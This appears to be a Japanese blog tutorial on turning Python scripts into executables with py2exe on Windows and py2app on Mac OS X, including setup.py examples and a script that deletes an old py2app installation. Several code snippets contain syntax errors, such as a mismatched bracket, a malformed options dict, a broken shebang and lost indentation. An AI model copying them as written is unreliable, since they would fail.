以下がpy2exeとpy2appの簡単な使い方です。

windows: py2exe 

1. http://www.py2exe.org/から最新のpy2exeをダウンロードする 
現時点では0.6.9(2008-11-06)が最新。 

自分のpythonのバーションに合ったファイルを選択（自分の環境での例） 
py2exe-0.6.9.win32-py2.6.exe 

2. ダウンロードしたファイルを実行する。 
c:\python26\Lib\site-packagesにpy2exeのディレクトリが作成される。 
※追加のライブラリはここに展開される 

3. setup.pyファイルを作成する 

CUI用アプリケーションの例：

from 　distutils.core import setup
import py2exe
setup(console=['filecut.py'])

GUI用アプリケーションの例（コンソール非表示）：

from　 distutils.core import setup
import py2exe
setup(windows=[{"script":"filecut.pyw","icon_resources":[1,"test.ico"")]}],)

GUIアプリ用のsetupでは、

"script"→実行形式にしたいpythonファイル、 
"icon_resources"→exeファイルにした時に表示されるアイコン。

※指定するソースファイルはコンソールが表示されないように拡張子を[.pyw]に変更しておく

4. python setup.py py2exe を実行 

python　setup.py　py2exe

3で作成したsetup.pyファイルを実行する。オプションにpy2exeを付ける。
同じディレクトリにdistディレとbuildディレが作成される。 
アプリケーションが入っているディレクトリはdist. 

※setup.pyを実行する時は同じディレクトリにexe化したいソースファイル（.py）を置いておく。 
　アイコンをつける時も同じディレクトリにアイコンをセットしておく（path指定なら問題なし） 


MAC OSX 10.6(snow leopard) : py2app 

1. 標準でついているeasy_installでpy2appを入れる 
※MacPortの中に含まれていただけかも…（調べていない） 
ターミナルを開き

$ sudo su -
# easy_install-2.6 py2app

2. #py2applet --make-setup [ソースファイル] を実行 

py2applet　--make-setup　main.py

ここでスクリプトとして実行されるファイルを指定する。 
setup.pyが自動生成される

3. #python setup.py py2app -A を実行 

python　setup.py　py2app　-A

これでdistの中にmain.app(２.で指定したソースファイル名)が生成される。 

※自分の環境(64bit)ではargv-emulationってのが使えないので、setup.pyを実行する前にスクリプトを書き換えるか、オプション付きで実行する。 

APP=['ソースファイル']
DATA_FILES =
OPTION = {'argv_emulation: True'} # Falseにする

か、 

#python setup.py py2app --argv-emulation -A 

しかし、これでもまだエラーが出る。

 
running py2app

error: You must specify either app or plugin

生成されたsetup.pyを見てみると、 
意味深にAPP=となってリストにmain.pyが入っていない。 
そのAPPは下の方でapp = APPと参照されているので、エラーでappを指定してください？的な事がでてると推測する。 
なので、setup.pyは生成しないで自分で書く↓ 

setup.py 
""" 
this is a setup.py script generated by py2applet 
Usage: 
python setup.py py2app 
""" 
from setuptools import setup 
  
setup( 
app=["ファイル名"], 
setup_requires=['py2app'], 
)

※これでも実行できなかったら、次を試してからやり直してみる
http://svn.pythonmac.org/py2app/py2app/trunk/doc/index.html 

・下のソースを保存して実行する 

#!usr/bin/env python
import os,shutil
from distutils.sysconfig import *
py2app = os.path.join(get_python_lib(),'py2app')
import shutil
if os.path.isdir(py2app):
print "removing " + py2app
shutil.rmtree(py2app)

if os.path.exists(py2app + '.pth'):
print "Removing" + py2app + '.pth'
os.unlink(py2app + '.pth')

for path in os.environ['PATH'].split(':'):
script = os.path.join(path,'py2applet')
if os.path.exists(script):
print "Removing" + script
os.unlink(script)

詳しく目を通していないが、削除しなければならないファイルが３つあるらしい… 
実行すると１個だけみつかり削除される。 


以上pythonを実行形式にする。 
どちらも同じように使えるので、結構簡単に使う事ができる。 
標準であるライブラリならいいが、周りからひっぱてきたライブラリだった場合は、別の方法でそれらを指定しなければならない可能性もある。とりあえず普通に使う分には問題を感じられず、使いやすい。